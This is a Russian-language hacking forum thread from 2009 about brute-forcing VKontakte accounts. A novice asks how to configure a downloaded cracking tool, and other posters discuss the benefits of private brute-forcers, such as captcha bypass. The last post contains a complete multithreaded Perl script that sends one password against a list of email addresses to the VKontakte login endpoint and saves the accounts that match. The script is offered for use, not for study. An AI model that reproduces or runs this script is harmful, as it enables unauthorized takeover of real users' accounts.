Поиск по сайту
Форумы 
Реклама
|
Страницы сообщения: [1] [2] | Просмотров - 19495
| вопрос про брут для контакта | Добавить этот топик в закладки » | | RSS-лента ответов » |
|
|
Erdinal

Novice | # | Сообщение добавлено 13.05.2009 22:00:57 стыдно даже что-то подобное писать ну да ладно. кароче, решил отбрутить контакт, есть пароль всё норма. вопрос, как брутить? хочу не по словарю, а перебором символов, там есть окно "алфавит", мне туда вписывать все символы или как-то загружать отдельные заготовки? если загружать то как?
з.ы. такого маразма увы, не нашёл на вашем форуме | | Сказать спасибо Ответить Цитировать |
| superhacker

Elite | # | Сообщение добавлено 13.05.2009 22:06:02 А что конкретно за брут (где скачал), а то в тех что я видел, данная опция была неактивна | | Сказать спасибо Ответить Цитировать |
| Erdinal

Novice | # | Сообщение добавлено 13.05.2009 22:13:49 называется так: 9_Vkontakte.exe
скачал отсюда: http://www.rudiuk-portal.at.ua/load/3-1-0-9
а мне вот интересно, они все однотипные, это по идее дело 5 минут для человека, знающего например делфи написать брут? или там свои проблемы с перебором пассов возникают? | | Сказать спасибо Ответить Цитировать |
| superhacker

Elite | # | Сообщение добавлено 13.05.2009 22:15:19 Отредактировано 13.05.2009 22:20:28 by superhacker Этот брут? http://tinyurl.com/q5p9kr там про него чуток написано
Или скрипт?
Добавлено через: 2 минуты 50 секунд
Самописный брут конечно намного лучше(не паблик), если хорошо знаешь программирование, то написать его можно быстро | | Сказать спасибо Ответить Цитировать |
| PR1KAL1ST
Scum of Society | # | Сообщение добавлено 13.05.2009 22:19:09 почему самописный всегда лучше? Вот я ща на Delphi например напишу брут и выложу его, и он плохим станет? | | Сказать спасибо Ответить Цитировать |
| superhacker

Elite | # | Сообщение добавлено 13.05.2009 22:20:06 Ты не понял, я имею ввиду самописный непаблик софт лучше, на то его и не выкладывают | | Сказать спасибо Ответить Цитировать |
| PR1KAL1ST
Scum of Society | # | Сообщение добавлено 13.05.2009 22:21:09 а чем он от паблика отличается? | | Сказать спасибо Ответить Цитировать |
| superhacker

Elite | # | Сообщение добавлено 13.05.2009 22:23:29 Отредактировано 13.05.2009 22:24:20 by superhacker А ты сядь и подумай прежде чем спрашивать глупости и флудить! Просто подумай логически, что софт который пишут для себя и не продают, имеет некоторые возможности и работает лучше и быстрее, чем публичный софт(скорость брута, обход капчи, тест и эксплуатация багов и т.д. и т.п.). | | Сказать спасибо Ответить Цитировать |
| Erdinal

Novice | # | Сообщение добавлено 13.05.2009 22:30:17 to superhacker
брут или скрипт я не знаю. брут наверно. скрипты это по идее вложения в сайт, которые какие-то алгоритмы выполняют? | | Сказать спасибо Ответить Цитировать |
| superhacker

Elite | # | Сообщение добавлено 13.05.2009 22:34:07 В данном случае это программа (exe), не скрипт
Вот пример скрипта на Perl:
#! /usr/bin/perl -w
use IO:: Socket;
use threads;
use threads:: shared;
$threads = shift || 80 ; #Êîë-âî ïîòîêîâ
$pass = 'pass' ; #pwd ; #pwd
$fname = 'good.txt' ; #Âàëèäíûå
$ml = shift || 'emails.txt' ; #Ñïèñîê ìûë
my @acc : shared;
my $i : shared;
my $total : shared;
$| = 1;
print "Loading...\n";
open (ACS, "<$ml") || die("Could not open mail list file!");
@acc = acc ();
$size = scalar @acc;
$time = time;
$start = localtime;
print "Loaded: ", $size, " emails.\n";
printf "Started at $start\n";
for(0.. $threads) {$trl[$_] = threads-> create(\&Brut, $_); }
for(@trl) { $_-> join; }
sub Brut
{
while(@acc)
{
{lock (@acc); $acc = shift @acc; }
my $sock = new IO:: Socket:: INET
(
PeerAddr => 'vkontakte.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 20
) or die "Can't connect\n";
my $data = "email=$acc&pass=$pass";
my $len = length($data);
my $re = "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".
"Connection: keep-alive\nReferer: http://vkontakte.ru\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: $len\n\n$data";
print $sock $re;
sysread ($sock, my $answ, 800);
if($answ =~ /\S {32}/ )
{
{lock ($total); $total++; }
print "[+] $acc\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
print FILE "$acc : $pass\n";
close(FILE );
}
{lock ($i); $i++; }
$percent = ($i/ $size)* 100;
progress ();
}
}
$time = time- $time;
$end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";
printf "Finded: $total \n";
sub progress {
print "|";
$percent = sprintf("%.2f", $percent);
print "< $percent% > complete";
print "\r";
}
sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
}
chomp @mas;
return @mas;
}
#(c)Kaimi | | Сказать спасибо Ответить Цитировать |
| Страницы сообщения: [1] [2] |